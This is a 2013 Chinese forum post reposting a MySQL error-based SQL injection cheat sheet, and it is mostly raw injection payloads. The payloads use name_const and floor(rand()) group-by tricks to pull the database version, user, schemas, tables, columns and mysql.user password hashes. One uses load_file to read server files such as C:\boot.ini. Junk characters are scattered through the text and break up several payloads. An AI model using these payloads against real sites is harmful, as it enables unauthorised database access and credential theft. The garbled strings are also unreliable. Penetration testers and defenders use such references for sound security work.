本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
+ x c, |1 s7 a" s/ h& z" `
6 r4 v0 F4 u8 d. I2 R( Q% H# h$ `% B- Y+ j+ M
Mysql暴错注入参考(pdf),每天一贴。。。3 [4 H( s: y' a" F, |( z( b7 b5 y; ~
1 I v& P) |* O* E, C* _( x
MySql Error Based Injection Reference
) [8 ~- i' K2 N. `# T F0 v2 W' }7 Q[Mysql暴错注入参考]
9 D6 \0 S1 c9 N4 Q) k! b dAuthornig0s1992
; H4 b D* `1 Y7 X1 g4 ]5 ]) V) l+ dBlog:http://pnig0s1992.blog.51cto.com/
- w- |$ r, W: H: {" ZTeAm:http://www.FreeBuf.com/* b6 {2 |0 s$ R( F
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功; h9 n+ l: d1 x7 E
小部分版本使用name_const()时会报错.可以用给出的Method.2测试$ Z4 B. i) K7 J" A) n# L
查询版本:7 s( Y b' M, a/ k: f
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+1 \" c7 ^7 Z2 C- t3 m( D4 l
join+(select+name_const(@@version,0))b)c)# K0 U3 r1 `: ]# |) }! I
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro' m# |0 x: D% K; C$ K9 ^4 ] [" z
up by a)b)
4 G5 o, F9 [/ v% H$ n, Z1 s查询当前用户:1 \8 S! z) M; M: S. K# T5 [. e/ S
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
4 W* f" Y2 Q" Y q: j4 u# DMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r" Y. X0 Y8 G& p# r9 j5 E
and(0)*2))x+from+information_schema.tables+group+by+x)a)
* p9 [5 L: a3 A" Z查询当前数据库:- k* S# N: Q3 V) C0 C, V
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
: H$ h ?- S1 z8 sMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
& } Q5 A1 g. l; a* Cor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)6 L, V9 H- [. M" f8 d$ O5 A
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
# E3 a, ], s5 NLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
$ P: j4 a, G7 W+ A1 I( J顺序替换, S$ J/ b) E U
爆指定库数目:2 z2 I4 y" R% F7 {0 N2 W* D, F6 ?" a
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t' p1 ]2 P! D" L* M9 ~4 k) r: @
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group7 p) f. E& K$ G/ ]* J. f& Z. P4 D
+by+x)a)+and+1=1 0x6D7973716C=mysql, m. P7 N% J4 M* B9 j
依次爆表:
1 }" J: m& t6 g5 h ]0 Uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t! I2 } K ^9 _& f/ z5 ~- f
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta( R- U. j6 h1 E. x9 _4 L& I
bles+group+by+x)a)+and+1=1
! n, X# \, A6 ]$ i8 z4 | L0x6D7973716C=Mysql 将n顺序替换/ w# o% T x; Z0 t- N
爆表内字段数目:
$ Z, T- d- e' D1 ~ A' P* [1 |and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE( T3 x" s- H' a. A$ b$ A
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran9 z: c" M* v* K# | g
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=13 r7 i2 p* {+ Z0 W; G: }0 h) I1 [
依次爆字段:* {, K7 \8 s3 [* G9 f
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where: D I* [ g& N# Y
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1( T6 N/ Q1 T0 K" G2 S) _" W3 Q
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换; q1 v X# i0 F, X' G3 N
依次暴内容:' z. P1 d! y$ _
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
4 ~. g- L6 ]& ?2 oma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
5 j0 l7 C) i) t' s2 b8 E6 H' R将n顺序替换
' U. q& E; X$ C @6 `3 |爆文件内容:
4 K. p1 D- K+ ]and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a5 w9 M2 d. T% p$ N" c. g
from+information_schema.tables+group+by+a)b) 8 c" ?0 k+ v# N4 A7 l& ^( \ F$ U
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节+ m$ k; _1 P) I" t/ P
Thx for reading.4 j8 x5 t( w6 l5 @% s6 I2 M: G% \
2 U o* [" Q- Z& O$ ~ H* u: j1 |: [/ f不要下载也可以, ! {' X8 _/ e6 n3 Q
|